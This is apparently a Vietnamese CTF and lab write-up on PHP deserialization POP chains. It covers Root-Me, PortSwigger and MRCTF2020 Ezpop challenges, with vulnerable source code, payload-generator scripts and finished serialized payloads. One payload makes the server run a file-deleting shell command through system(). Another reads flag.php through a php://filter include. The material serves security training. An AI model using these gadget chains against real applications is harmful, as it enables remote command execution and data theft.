Try   HackMD

Một vài bài POP chain trong PHP

Mở đầu

Chắc bởi vì mình thấy dạng này khác hay nên mình đã kiếm một số bài về nó để làm. Có bài mình tự làm cũng có bài xem qua writeup nên đôi khi lời mình khá lũng củng và khó hiểu. Một số bài mình dựng lại trên local nên flag chỉ mang tính tượng trưng thôi ^^.
Về POP chain trong PHP thì mình đã nói sơ qua ở đây. Oke bắt đầu thôi :v .

Một số bài

1. Rootme: PHP - Unserialize Pop Chain.

Link tại đây.
Bài cho soure code và đây là thứ cần quan tâm:

    <?php
     
    $getflag = false;
     
    class GetMessage {
        function __construct($receive) {
            if ($receive === "HelloBooooooy") {
                die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
            } else {
                $this->receive = $receive;
            }
        }
     
        function __toString() {
            return $this->receive;
        }
     
        function __destruct() {
            global $getflag;
            if ($this->receive !== "HelloBooooooy") {
                die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
            } else {
                if ($getflag) {
                    include("flag.php");
                    echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
                }
            }
        }
    }
     
    class WakyWaky {
        function __wakeup() {
            echo "[YOU]: ".$this->msg."<br>";
        }
     
        function __toString() {
            global $getflag;
            $getflag = true;
            return (new GetMessage($this->msg))->receive;
        }
    }
     
    if (isset($_GET['source'])) {
        highlight_file(__FILE__);
        die();
    }
     
    if (isset($_POST["data"]) && !empty($_POST["data"])) {
        unserialize($_POST["data"]);
    }
     
    ?>

Phân tích:

  • Bài nhận vào tham số data qua method POST và thực hiện unserialize nó.
  • 2 class: GetMessageWakyWaky.
  • flag sẽ được lấy trong magic method __destruct() của class GetMessage:
if($getflag){
    include("flag.php");
    echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
}

Vậy điều kiện lấy flag là:

  • __destruct() được thực thi: đây là magic method trong PHP sẽ được thực thi khi đối tượng được hủy hoặc chương trình kết thúc (không được thực thi khi chương trình kết thúc bởi hàm die().
  • Giá trị receive của đối tượng tại bởi class GetMessageHelloBooooooy.
  • $getflag có giá trị true.

Thực hành:

Đầu tiên để __destruct() thực thi là tránh xuất hiện hàm die() Ta thấy trong class GetMessage có:

function __construct($receive) {
    if ($receive === "HelloBooooooy") {
        die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
    } else {
        $this->receive = $receive;
    }
}

Đây là 1 magic method thực thi khi được khởi tạo đối tượng. Tuy nhiên nếu khởi tạo luôn là $receive có giá trị là HelloBooooooy sẽ bị false vì nó thực thi die() nên nó cần gán sau khi khởi tạo và method __toString() trong class WakyWaky phải được thực thi vì nó làm được điều này:

return (new GetMessage($this->msg))->receive;

Tiếp tục để biến $getflag có giá trị true ta thấy trong class WakyWaky:

function __toString() {
    global $getflag;
    $getflag = true;
    return (new GetMessage($this->msg))->receive;
}

__toString() là 1 magic method được thực thi khi 1 đối tượng tạo bởi class đó được dùng như string. Ví dụ như: echo, print, preg_match(),
Nhận thấy trong cùng class này có :

function __wakeup() {
    echo "[YOU]: ".$this->msg."<br>";
}

Khi $this->msg là 1 đối tượng của class WakyWaky thì đối tượng đó sẽ thực thi __toString(). Vậy để __wakeup() thực thi là được, đây cũng là 1 magic methed thực thi khi đối tượng được unserialize => Đối tượng cần truyền vào hàm unserialize() tạo bởi class WakyWaky.

Tóm lại script:

<?php
$getflag = false;
class GetMessage
{
    public $receive;
}
class WakyWaky
{
    public $msg;
    function __construct($msg)
    {
        $this->msg = $msg;
    }
}
$a = new GetMessage('');
$a->receive = 'HelloBooooooy';

$b1 = new WakyWaky($a);
$b2 = new WakyWaky($b1);
echo serialize($b2);

Được payload:

O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}}

Két quả:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

flag: uns3r14liz3_p0p_ch41n_r0cks

2. PortSwigger: Developing a custom gadget chain for PHP deserialization

Link bài lab.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Các dạng bài này thường sẽ cho source hoặc bị leak ra như bài này:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Thêm ~ phía sau và truy cập vào để xem source /cgi-bin/libs/CustomTemplate.php~:

<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>

Tổng quan: đề yêu cầu xóa file morale.txt trong thư mục home của Carlos nghĩa là phải thực thi được câu lệnh: rm /home/carlos/morale.txt. Có 4 class trong source. Bây giờ login wiener:peter và kiểm tra giá trị cookie và decode nó:

Giá trị nhận được là O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ic9rwytnufldpgjrox3xmrrhdyuzmguo";} đây là dạng serialized data, thứ mà ta cần biến đổi nó.
Bắt đầu phân tích và khai thác:
Để ý thấy trong class DefaultMap có method __get() thực thi hàm call_user_func đây là hàm đặc biệt vì nó có thể thực thi 1 hàm theo ý muốn khi truyền vào. Ở đây thứ ta muốn là thực thi system('rm /home/carlos/morale.txt') thì ta cần thực thi call_user_func(system,'rm /home/carlos/morale.txt') (ngoài system còn có các hàm khác như exec, passthru,). Vậy để nó thực thi như vậy thì ta cần:

  • $this->callback có giá trị là system, cái này ta có thể làm được khi khởi tạo đối tượng. Ví dụ: $defaultmap = new DefaultMap('system');
  • Magic method __get() được thực thi khi truy cập thuộc tính không được public hoặc không tồn tại của đối tượng khi đó thuộc tính đó được truyền vào __get(). Ở class CustomTemplate có 2 thuộc tính private khả nghi.

Quan sát thấy class Product có : $this->desc = $desc->$default_desc_type;. Nếu $desc là đối tượng class DefaultMap ($defaultmap) và $default_desc_type có giá trị là rm /home/carlos/morale.txt thì __get() như đã nói trên sẽ thực thi. (2 thuộc tính này là của class CustomTemplate nên có thể kiểm soát được )
Để __construct() của class Product thực thi thì phải khởi tạo đối tượng của class Product và điều đó xảy ra nếu hàm build_product(). Và hàm này được gọi trong __wakeup của class CustomTemplate. Magic method này được thực thi khi deserialize đối tượng. Vậy bây giờ ta tạo một serialized data của đối tượng class CustomTemplate bằng script sau:

<?php

class CustomTemplate
{
    public $default_desc_type;
    public $desc;

    public function __construct($default_desc_type, $desc)
    {
        $this->default_desc_type = $default_desc_type;
        $this->desc = $desc;
    }
}




class DefaultMap
{
    public $callback;

    public function __construct($callback)
    {
        $this->callback = $callback;
    }
}

$defaultmap = new DefaultMap('system');
$custom = new CustomTemplate('rm /home/carlos/morale.txt', $defaultmap);
echo serialize($custom);

Output:
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
Bây giờ encode base64 và mã hóa URL được:TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjI2OiJybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo0OiJkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjg6ImNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fX0%3D
Đưa nó vào cookie và kết quả:

3. Ezpop - MRCTF2020

Bài này mình dựng lại ở local để làm.
Source:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
	protected $var;
	public function append($value) {
		include $value;
	}
	public function __invoke() {
		$this->append($this->var);
	}
}
class Show {
	public $source;
	public $str;
	public function __construct($file = 'index.php') {
		$this->source = $file;	
		echo 'Welcome to ' . $this->source . "<br>";
	}
	public function __toString() {
		return $this->str->source;
	}
	public function __wakeup() {
		if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
			echo "hacker";
			$this->source = "index.php";
		}
	}
}
class Test {
	public $p;
	public function __construct() {
		$this->p = array();
	}
	public function __get($key) {
		$function = $this->p;
		return $function();
	}
}

if (isset($_GET['pop'])) {
	@unserialize($_GET['pop']);
} else {
	$a = new Show;
	highlight_file(__FILE__);
}

Tổng quan: bài nhận vào tham số pop từ URL và unserialize nó. Có 3 class là Modifier, Show, Test. Flag nằm trong file flag.php. Vậy trong 3 class thì chỗ nào có thể đọc được file flag? Đó là hàm include trong class Modifier Nó có thể đọc file khi dùng wrapper:
php://filter/convert.base64-encode/resource=flag.php và hiển thị dạng base64.

$modifier = new Modifier('php://filter/convert.base64-encode/resource=flag.php');

Vậy chỉ cần append() thực thi và nó nằm trong magic method __invoke()

Magic method __invoke() sẽ thực thi khi một đối tượng được dùng như gọi hàm. Ví dụ $obj();

Nhìn tiếp trong class Test có dòng code return $function(); trong method __get() và giá trị $function (cụ thể là thuộc tính p của class đó) là đối tượng của class Modifier thì __invoke() được thực thi.

$test = new Test($modifier);

Vậy chỉ cần thực thi được __get()

Magic method __get() thực thi khi đối tượng gọi đến thuộc tính không phải public hoặc không tồn tại.

Vậy để ý tiếp trong class Show có:

public function __toString() {
    return $this->str->source;
}

Khi $this->str là đối tượng của class Test ($test) thì nó sẽ thực thi __get() vì đối tượng này không có thuộc tính source. Bây giờ chỉ cần tạo giá trị str$test__toString() được thực thi.

Magic method __toString() thực thi khi đối tượng được dùng như string. Ví dụ: echo $obj;,

Và ở đây hàm preg_match() cũng có thể làm được điều đó vì tham số truyền vào (source) là string.
Vậy $this->source là đối tượng của chính class đó là sẽ thực thi được toString()
Cuối cùng là việc thực thi __wakeup().

Magic method __wakeup() thực thi khi deserialize đối tượng.

Ta có script:

<?php
class Modifier {
	public $var;
	public function __construct($var) {
		$this->var = $var;
	}
}
class Show {
	public $source;
	public $str;

	public function __construct($source, $str) {
		$this->source = $source;
		$this->str = $str;
	}
}
class Test {
	public $p;
	public function __construct($p) {
		$this->p = $p;
	}

}

$modifier = new Modifier('php://filter/convert.base64-encode/resource=flag.php');
$test = new Test($modifier);
$show = new Show('abc', $test);
$show2 = new Show($show, 'abc')
echo urlencode(serialize($show2));

Lấy giá trị đó đưa vào pop là oke, 1 đoạn base64 hiện ra vào decode chúng là file flag.